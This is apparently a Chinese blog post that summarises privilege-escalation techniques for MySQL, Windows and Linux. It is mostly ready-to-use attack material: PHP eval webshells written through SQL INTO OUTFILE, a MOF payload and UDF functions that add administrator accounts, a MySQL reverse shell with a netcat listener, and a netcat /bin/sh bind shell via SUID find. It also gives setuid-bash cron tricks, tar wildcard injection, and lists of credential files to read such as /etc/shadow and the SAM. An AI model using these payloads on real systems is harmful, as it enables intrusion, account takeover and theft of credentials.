常见提权姿势总结
提权方法有部分适用在不同环境,当然也有通用的方法
提权方法有操作系统版本区分,特性决定方法利用面
提权方法有部分需要特定环境,如数据库,第三方提权
数据库提权
navicat : 数据库连接工具
mysql
获取mysql密码
二、Mysql密码获取与破解
1.获取网站数据库账号和密码
对于CMS系统,一定会有一个文件定义了数据库连接的用户和密码。例如以下代码:
$db['default']['hostname'] = 'localhost';
$db['default']['username'] = 'root';
$db['default']['password'] = '123456';
$db['default']['database'] = 'crm';
dedecms数据库安装的信息就是写在data/common.inc.php,Discuz的数据库信息就在config/config_global_default.php、config /config_ucenter.php、config.inc.php。一般数据库配置文件都会位于config、application、conn、db等目录,配置文件名称一般会是conn.asp/php/aspx/jsp等。对于java会在/WEB-INF/config/config.properties中配置,总之通过查看源代码,进行层层分析,终究会发现数据库配置文件。
对于Linux操作系统,除了上述方法获取root账号密码外,还可以通过查看./root/.mysql_history、./root/.bash_history文件查看mysql操作涉及的密码。当然对于Mysql5.6以下版本,由于设计Mysql程序时对于安全性的重视度非常低,用户密码是明文传输。MySQL对于binary log中和用户密码相关的操作是不加密的。如果你向MySQL发送了例如create user,grant user ... identified by这样的携带初始明文密码的指令,那么会在binary log中原原本本的被还原出来,执行“mysqlbinlog binlog.000001”命令即可获取
获取mysql数据库user表
MYSQL所有设置默认都保存在“C:\Program Files\MYSQL\MYSQL Server 5.0\data\MYSQL”中,也就是安装程序的data目录下,有关用户一共有三个文件即user.frm、user.MYD和 user.MYI,MYSQL数据库用户密码都保存在user.MYD文件中,包括root用户和其他用户的密码。在有权限的情况下,我们可以将User.frm、user.myd和User.myi三个文件下载到本地,通过本地的mysql环境直接读取user表中的数据。当然也可使用文本编辑器将user.MYD打开将root账号的密码复制出来到到cmd5.com进行查询和破解。对于Mysql数据库密码如果通过cmd5.com等网站不能查询到密码则需要自己手动破解。
3.Mysql密码查询
可以通过以下查询语句直接查询mysql数据库中的所有用户和密码。
1. select user,password from mysql.user;
2. select user,password from mysql.user where user ='root';
4.MySQL密码加密算法
MySQL实际上是使用了两次SHA1夹杂一次unhex的方式对用户密码进行了加密。具体的算法可以用公式表示:password_str = concat('*', sha1(unhex(sha1(password)))),可以通过查询语句进行验证,查询结果如下图所示。
select password('mypassword'),concat('*',sha1(unhex(sha1('mypassword'))));
mysql获取webshell
Mysql root账号网站获取webshell具备的条件:
1.知道站点物理路径,网站物理途径可以通过phpinfo函数、登录后台查看系统属性、文件出错信息、查看网站源代码以及路径猜测等方法获取。
2.有足够大的权限,最好是root账号权限或者具备root权限的其它账号,可以用select user,password from mysql.user进行测试。
3.magic_quotes_gpc()=OFF。对于PHP magic_quotes_gpc=on的情况,可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示。 对于PHP magic_quotes_gpc=off 的情况必须使用addslashes()对输入数据进行处理,但并不需要使用stripslashes()格式化输出,因为addslashes()并未将反斜杠一起写入数据库,只是帮助mysql完成了sql语句的执行。
4.直接导出webshell,执行下面语句
Select '<?php eval($_POST[cmd])?>' into outfile '物理路径';
and 1=2 union all select 一句话HEX值 into outfile '路径';
也可以通过创建表来直接完成,其中d:/www/exehack.php为webshell的名称和路径
CREATE TABLE `mysql`.`darkmoon` (`darkmoon1` TEXT NOT NULL );
INSERT INTO `mysql`.`darkmoon` (`darkmoon1` ) VALUES ('<?php @eval($_POST[pass]);?>');
SELECT `darkmoon1` FROM `darkmoon` INTO OUTFILE 'd:/www/exehack.php';
DROP TABLE IF EXISTS `darkmoon`;
有些情况下掌握了MSSQL数据库口令,但服务器环境是Windows2008,web环境是PHP,则可以通过SQLTOOLs工具,直接连接命令,通过以下命令写入shell:
echo ^<?php @eval(request[xxx])? ^^>^ >c:\web\www\shell.php
mof提权
原理
在windows平台,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要我们将我们先要做的事通过代码存储到这个mof文件中,就可以实现权限提升。
利用条件
- mysql用户具有root权限(对上面那个目录可写)
- 关闭了secure-file-priv
secure-file-priv
参数说明:
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。
- ure_file_priv的值为null ,表示限制mysqld 不允许导入|导出
- 当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下
- 当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制
查看secure-file-priv的值
show global variables like "%secure%";
利用方式
利用代码:
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select \ From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
这段代码只是在目标系统上添加了一个admin用户,并没有添加到管理员组(如果需要自行查找,网上很多),将这个文件存储为nullevt.mof上传到任意一个你在目标机上可写的路径(当然,如果你直接可以写到c:/windows/system32/wbem/mof/就更好了),接下来我们就可以直接执行sql语句把该文件写入到目标路径:
select load_file('你上传的路径/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';
执行完之后,在webshell中使用net user查看是否多了一个admin用户,如果有,则可以继续利用,否则不需要继续了。
udf提权
原理
UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限
利用条件
-
Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。
-
Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32。
-
掌握的mysql数据库的账号有对mysql的insert和delete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。
-
可以将udf.dll写入到相应目录的权限。
#关于plugin目录,可以在mysql中执行
show variables like "%plugin%";
#进行查看,这个目录也就是dll文件需要导入的目录
利用方式
1.将dll文件导入到相应目录,如果导入错误会产生can't open shared library错误
2.创建自定义函数
create function cmdshell returns string soname 'udf.dll';
select cmdshell('net user miao zjicmisa.org /add');
select cmdshell('net localgroup administrators miao /add');
drop function cmdshell; 删除函数
delete from mysql.func where name='cmdshell' 删除函数
注意这里的函数名应该与dll文件中的函数名一致。
关于udf有一个特别需要注意的问题,就是5.1以上版本默认情况下/lib/plugin目录是不存在的。有大牛已经想出了解决办法——NTFS ADS流来创建文件夹(该方法我们测试过)
select @@basedir;
//查找到mysql的目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';
//利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS创建plugin目录
上面的目录应该是相应的mysql目录
注:udf提权也是一般应用于win2003系统
mysql反弹shell提权
其实这也属于udf提权,只不过应用场景不同,比如现在我们没有webshell但是我们却有偶然得到了mysql的root密码(弱口令等),恰巧目标机的数据库可以外联或者有phpmyadmin,那么我们就可以把上面udf.dll文件的内容先插入到数据表中,然后再导出到/lib/plugin目录。
#然后创建函数backshell
CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
1
#在具备独立主机的服务器上执行监听
nc -vv -l -p 12345
1
#最后就是执行backshell
select backshell("你的ip地址",12345);
- 如果成功返回了shell则说明成功了,我们就可以添加用户了
mysql渗透技巧
在对MySQL数据库架构的渗透中,MySQL内置的函数DATABASE()、USER()、SYSTEM_USER()、SESSION_USER()和CURRENT_USER()可以用来获取一些系统的信息,而load_file()作用是读入文件,并将文件内容作为一个字符串返回,这在渗透中尤其有用,例如发现一个php的SQL注入点,则可以通过构造“-1 union select 1,1,1,1,load_file('c:/boot.ini')”来获取boot.ini文件的内容。
(1)一些常见的系统配置文件
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
LUNIX/UNIX 下:
1. /usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
2. /usr/local/apache2/conf/httpd.conf
3. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
4. /usr/local/app/php5/lib/php.ini //PHP相关设置
5. /etc/sysconfig/iptables //从中得到防火墙规则策略
6. /etc/httpd/conf/httpd.conf // apache配置文件
7. /etc/rsyncd.conf //同步程序配置文件
8. /etc/my.cnf //mysql的配置文件
9. /etc/redhat-release //系统版本
10. /etc/issue
11. /etc/issue.net
12. /usr/local/app/php5/lib/php.ini //PHP相关设置
13. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
14. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
15. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
16. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
17. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
18. /etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
19. /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
20. /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
21. /usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
22. /etc/sysconfig/iptables 查看防火墙策略
23. load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
24. replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
25. replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
直接读取配置文件
- SELECT LOAD_FILE('/etc/passwd' )
- SELECT LOAD_FILE('/etc/issues' )
- SELECT LOAD_FILE('/etc/etc/rc.local' )
- SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' )
- SELECT LOAD_FILE('/etc/nginx/nginx.conf' )
Linux下通过load_file函数读出来的数据库有可能是hex编码,要正常查看需要使用NotePad将将以上代码全部选中,然后选择插件“Converter”-“HEX-ASCII”进行转换。
Redis提权
6379端口
windows提权
AT
cmd :
at 15:30 /interactive cmd.exe
之后会在15:30弹出一个以system权限打开的cmd窗口。这是win2003以及其之前版本的一个漏洞
SC
cmd:
sc Create syscmd binPath="cms /K start" type=own type=interact#先创建一个服务,服务名为syscmd,然后该服务绑定一个binpath(exe执行文件) /k 启动一个新的界面
PS(适用面较广)
使用该方法的前提条件:需要下载一个PsTools(windows提供的一个第三方工具库)
使用方法:cmd(在该工具的目录下)
psexec.exe -accepteula -s -i -d cmd.exe
令牌窃取
进程注入
RottenPotato(烂土豆)提权
因此,一般从web拿到的webshell都是IIS服务器权限,是具有这个模仿权限的。测试过程中,我们发现使用已经建立好的账户(就是上面说的用户级账户)去反弹meterpreter然后再去执行EXP的时候会失败。但是使用菜刀(IIS服务器权限)反弹meterpreter就会成功。
烂土豆比热土豆的优点:
- 100%可靠
- (当时)全版本通杀
- 立即生效,不想hot potato那样有时候需要等待windows更新才能使用
msf反弹shell之后,使用烂土豆进行提权:
execute -cH -f ./potato.exe
然后使用令牌窃取的方法进行提权
DLL提权
DLL : 动态链接库,程序在启动的时候默认会调用这些dll库,,来实现功能的加载。
dll劫持提权需要特定软件应用的控制权限以及启用配合。
过程:
-
信息收集 : 第三方软件特有应用程序的信息
-
进程调试:分析程序运行时候调用的dll库文件
-
制作dll并上传
-
替换dll
-
启动应用后成功
可以使用火绒剑来进行调试
引号路径
条件
- 目录中有空格
- 系统在调用该服务的时候没有加引号
可以在c盘创建一个名为Program.exe 后门文件
不安全的服务权限配合msf
本地提权
原理:
即使正确引用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可能对服务拥有过多的权限,比如,可以直接修改它导致重定向执行文件。
过程:
- 检测服务器权限配置
- 制作文件并上传
- 更改服务路径指向
- 调用后成功
accesschk.exe -uwcqv "administrator" * #检测administartor用户或用户组有没有可以操作的服务#该文件是微软官方提供的第三方文件sc config "NewServiceName[服务名]" binpath="C:\test.exe[服务对应的执行文件]"sc start "NewServiceName"
总结
- 数据库
- 溢出漏洞
- 令牌窃取
- DLL劫持
- 第三方软件
- AT & SC & PS
- 不安全的服务权限
- 不带引号的服务路径
- Unattended Installs
- AlwaysInstallElevated
java 的 webshell不需要提权,直接是System权限(jsp)
提权层面
web、本地
Linux提权
信息收集
- 内核信息
- 用户群组
- 环境信息
- 进程服务
- 计划任务
- 有无ssh私钥
- 有无明文密码
- 可读写执行目录
提权方法
- SUID
- 内核漏洞
- 环境变量
- 计划任务
- 第三方服务
信息收集:判断提权方式是否适用
漏洞探针:用于内核提权;判断操作系统可能存在的漏洞
工具:LinEnum(信息收集脚本)
Linux中,一般文件都上传至tmp目录,该目录一般可读写,服务器重启后会清空
SUID提权
详情参考:https://pentestlab.blog/2017/09/25/suid-executables/
1.探针是否有SUID(手工)
find / -user root -perm -4000 -print 2>/dev/nullfind / -prem -u=s -type f 2>/dev/nullfind / -user root -perm -4000 -exec ls -ldb {} \;
以下是可用于产生shell的程序
- nmap
- vim
- less
- more
- nano
- cp
- mv
- find
touch test#以root执行命令find test -exec whoami \;#nc反弹shellfind tese -exec netcat -lvp 5555 -e /bin/sh \;#之后使用netcat连接5555端口netcat ip 5555idcat /etc/shadow
脏牛漏洞
CVE-2016-5195
需要使用交互式shell
本地环境变量
步骤:
定时任务
路径问题
利用计划任务指向的文件的相对路径解析问题
cat /etc/crontabecho 'cp /bin/bash /tmp/bash;chmod +s /tmp/bash' > /home/test/test.sh/tmp/bash
利用通配符配合命令参数自定义命令实现提权
- tar
- touch
- chmod
- ysync等等
有定时任务:
cd /home/undead/scripttar czf /tmp/backup.tar.gz.*
--checkpoint=1 是tar的参数
--checkpoint-action=exec=sh test.sh 文件中的内容随意
test.sh 中的内容:
cp /bin/bash /tmp/bash;chmod +s /tmp/bash
之后使用cd /tmp/bash;bash -p
来进行提权
【使用SUID提权原理】
权限问题
利用不安全的权限分配操作导致的定时文件覆盖
原因: 管理员 chmod 777 计划任务
总结
提权环境
信息收集(SUID、定时任务、可能漏洞、第三方服务应用等)
最新相关漏洞,二次开发相关脚本
本地searchsploit脚本及远程exploit db站点搜索说明
其他提权方法:密码复用、guid、sudo等说明
searchsploit脚本 搜索关键字可以利用的漏洞
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 25岁的心里话
· 按钮权限的设计及实现